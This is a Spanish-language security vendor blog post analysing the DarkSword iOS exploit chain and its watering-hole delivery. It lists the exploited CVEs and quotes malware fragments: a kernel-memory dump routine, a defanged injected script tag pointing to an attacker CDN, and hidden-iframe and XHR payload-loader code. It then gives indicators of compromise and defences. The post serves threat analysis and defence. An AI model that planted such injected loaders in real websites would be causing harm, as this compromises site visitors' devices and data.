Skip to main content
Blog
Blog

DarkSword: cadena de exploits en JavaScript puro convierte sitios web legítimos en armas

DarkSword es una cadena de exploits completa para iOS distribuida mediante ataques de abrevadero en sitios web legítimos comprometidos. Se ejecuta íntegramente en JavaScript, evade las mitigaciones binarias y despliega backdoors basados en JavaScript que exfiltran datos sensibles.

Mar 20, 2026 5 min read
DarkSword: cadena de exploits en JavaScript puro convierte sitios web legítimos en armas - imagen de portada

DarkSword representa un nuevo paso en la explotación de iOS. Activo al menos desde noviembre de 2025, esta cadena de exploits completa encadena múltiples vulnerabilidades —varias de ellas zero-days— para comprometer completamente dispositivos iOS. El grupo de espionaje ruso UNC6353, presunto responsable, lo distribuye mediante ataques de abrevadero inyectando etiquetas de script maliciosas en sitios web legítimos comprometidos. La preocupación central es la distribución: el entorno del lado del cliente de un sitio web se convierte en un vector para un exploit de estado-nación dirigido a sus visitantes.

Cómo funciona la cadena de exploits DarkSword

Los kits de exploits anteriores para iOS dependían de componentes binarios. DarkSword adopta un enfoque diferente: toda la cadena está escrita en JavaScript. Al mantenerse en JavaScript en cada etapa, los atacantes evitan las mitigaciones binarias como la Page Protection Layer (PPL) y el Secure Page Table Monitor (SPTM) de Apple. La cadena apunta a versiones de iOS en el rango 18.4-18.7 y opera a través de varias etapas que escalan desde una corrupción de memoria en el navegador hasta privilegios completos del kernel.

Etapas del exploit

Etapa del exploitVulnerabilidadDescripción¿Zero-day?
Ejecución remota de código (RCE)CVE-2025-31277 / CVE-2025-43529Corrupción de memoria en JavaScriptCore (confusión de tipos JIT y bugs de GC).CVE-2025-43529 era un zero-day
Bypass de PACCVE-2026-20700Bypass de Pointer Authentication Code en modo usuario en dyld.
Escape del sandbox de WebContentCVE-2025-14174Corrupción de memoria en ANGLE, escapando al proceso GPU.
Escape del sandbox de GPUCVE-2025-43510Vulnerabilidad de gestión de memoria en el kernel de iOS, pivotando a mediaplaybackd.No
Escalada de privilegiosCVE-2025-43520Corrupción de memoria en el kernel de iOS, otorgando privilegios completos del kernel.No

Tras lograr el compromiso total, el exploit despliega una de tres familias de malware basadas en JavaScript: GHOSTBLADE, GHOSTKNIFE o GHOSTSABER. Estas actúan como minadores de datos y backdoors, exfiltrando iMessages, datos de carteras de criptomonedas, historial de ubicación y contraseñas WiFi guardadas.

Ejemplo de código de depuración

El código de depuración y los comentarios dejados en las cargas útiles revelan las intenciones de los autores. GHOSTBLADE incluye funciones para volcar en hexadecimal la memoria del kernel y apunta específicamente a las credenciales WiFi:

const TAG = "DarkSword-WIFI-DUMP";

function kdump(where, size, msg = "") {
 LOG(`[+] ----------- ${msg} ----------`);
 for (let i = 0n; i < size; i += 0x10n) {
 LOG(`[+] [${i.hex()}] ${(where + i).hex()}:	${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
 }
}

Cómo usa DarkSword los ataques de abrevadero para infectar dispositivos iOS

UNC6353 compromete sitios web legítimos y los convierte en abrevaderos. Cuando un objetivo visita uno de estos sitios, el ataque se ejecuta silenciosamente en segundo plano sin interacción del usuario. El ataque suele comenzar con una única etiqueta inyectada que parece inofensiva en el HTML, pero que luego carga JavaScript controlado por el atacante desde un CDN de terceros.

Ejemplo (mostrado escapado para evitar incrustar una etiqueta de script real):

<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>

A partir de ahí, el ataque continúa mediante operaciones en el lado del cliente. El cargador puede crear iframes ocultos de 1x1 píxeles, usar sessionStorage para rastrear y tomar huellas digitales de las víctimas, y obtener cargas útiles adicionales ofuscadas mediante XHRs síncronos. Dado que todas las acciones utilizan APIs web estándar, se mezclan con la actividad normal del navegador a menos que se monitorice el entorno del lado del cliente.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
 sessionStorage.setItem("uid", '1');
 const frame = document.createElement("iframe");
 frame.src = "frame.html?" + Math.random();
 frame.style.height = 0;
 frame.style.width = 0;
 frame.style.border = "none";
 document.body.appendChild(frame);
} else {
 top.location.href = "red";
}
function getJS(fname,method = 'GET') {
 try {
 url = fname;
 print(`trying to fetch ${method} from: ${url}`);
 let xhr = new XMLHttpRequest();
 xhr.open("GET", `${url}` , false);
 xhr.send(null);
 return xhr.responseText;
 } catch(e) {
 print("got error in getJS: " + e);
 }
}

Por qué las defensas de seguridad tradicionales no detectan DarkSword

DarkSword expone un punto ciego en la mayoría de las configuraciones de seguridad. Las defensas perimetrales, los WAFs y muchas herramientas de detección en endpoints no ven la actividad dentro del navegador. El sitio web comprometido entrega lo que parece ser un recurso normal del lado del cliente, mientras que el exploit real se carga desde un dominio de terceros. Defenderse contra estos ataques requiere visibilidad sobre la ejecución en el lado del cliente y la capacidad de detectar comportamientos anómalos del navegador.

Indicadores de compromiso

  • Etiquetas de script inesperadas que cargan desde dominios desconocidos o sospechosos;
  • Iframes ocultos con dimensiones de 1x1 píxeles, opacidad casi nula o posicionamiento fuera de pantalla;
  • Modificaciones inusuales de sessionStorage o localStorage por parte de scripts no autorizados;
  • Solicitudes XHR o Fetch que recuperan cargas útiles adicionales de JavaScript ofuscado.

Cómo defenderse contra DarkSword y los ataques de abrevadero

Apple parcheó las vulnerabilidades de DarkSword en iOS 26.3, y los usuarios deben actualizar de inmediato. Sin embargo, parchear los endpoints solo aborda una capa. Mientras los atacantes puedan comprometer sitios web legítimos y usarlos como vehículos de distribución, los ataques de abrevadero continuarán. Los operadores de sitios web deben reforzar las cadenas de suministro, monitorizar las inyecciones no autorizadas y utilizar la monitorización del lado del cliente para detectar la ejecución de scripts maliciosos antes de que desplieguen cargas útiles como DarkSword.

Simon Wijckmans
Founder & CEO

Founder and CEO of cside. Previously a product manager on Cloudflare Page Shield (now Cloudflare Client-Side Security). Co-chair of the W3C Anti-Fraud Community Group and a Forbes 30 Under 30 honoree. Building accessible security against client-side attacks — web security is not an enterprise-only problem.

FAQ

Frequently Asked Questions

DarkSword permanece completamente en JavaScript para evitar las protecciones a nivel binario como la Page Protection Layer (PPL) y el Secure Page Table Monitor (SPTM) de Apple. Al explotar la corrupción de memoria en JavaScriptCore y las vulnerabilidades de escape de sandbox posteriores, la cadena nunca necesita ejecutar binarios nativos independientes, lo que reduce la efectividad de las mitigaciones basadas en binarios.

Los indicadores clave incluyen etiquetas de script externas inesperadas que apuntan a dominios de terceros desconocidos, iframes ocultos o fuera de pantalla (a menudo de 1x1 píxeles), actividad inusual en sessionStorage/localStorage, y solicitudes XHR/Fetch síncronas que recuperan JavaScript ofuscado. Monitorizar estos comportamientos en el navegador puede revelar actividad maliciosa que las herramientas perimetrales no detectan.

Aislar el host comprometido y preservar los logs del servidor web y los activos desplegados, incluidos los scripts inyectados. Notificar a los usuarios afectados, rotar los secretos expuestos (claves API, tokens) y habilitar telemetría de alcance para el incidente con el fin de capturar artefactos del lado del cliente, como URLs de scripts inyectados, patrones de navegación de iframes y cargas útiles XHR para análisis posterior.

Implementar telemetría de comportamiento en el lado del cliente que registre orígenes de scripts, creación de iframes, modificaciones de almacenamiento y solicitudes de red, con muestreo de tasa limitada y salvaguardas de privacidad. Usar listas de permitidos para recursos de terceros conocidos, verificaciones de integridad (SRI), cabeceras CSP y análisis periódicos para detectar modificaciones no autorizadas en el HTML y JavaScript servidos.

Reforzar la seguridad de la cadena de suministro bloqueando las dependencias de terceros, exigiendo activos firmados o con verificación de integridad, habilitando la Content Security Policy (CSP) y monitorizando cambios inesperados en los archivos alojados en CDN. Mantener controles de acceso estrictos, rotar credenciales y habilitar la monitorización de integridad de archivos en los activos web.

Los logs del lado del cliente que capturan URLs de scripts inyectados, eventos de creación de iframes, escrituras en sessionStorage/localStorage y respuestas XHR síncronas son indicadores de alta fidelidad. Complementar estos con logs del servidor web que muestren solicitudes inesperadas de archivos de widgets y activos de CDN, y correlacionar con la telemetría del navegador en el endpoint si está disponible.

Priorizar las actualizaciones del sistema operativo que aborden los CVEs explotados, luego desplegar mitigaciones como el bloqueo de dominios maliciosos conocidos en el perímetro de red y la revocación de credenciales de CDN comprometidas. Simultáneamente, implementar detección en el lado del cliente y reforzar los controles de la cadena de suministro web para reducir la exposición futura.

CSP y SRI son mitigaciones eficaces cuando se aplican correctamente: CSP restringe desde dónde se pueden cargar los scripts y SRI garantiza que los recursos obtenidos coincidan con los hashes de integridad esperados. Sin embargo, si el atacante puede modificar el sitio para inyectar su propio recurso permitido o comprometer un CDN de confianza, estos controles pueden ser eludidos, por lo que deben formar parte de una defensa en capas.

Monitoriza y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitorización de scripts y análisis de seguridad
Related Articles
Reservar una demo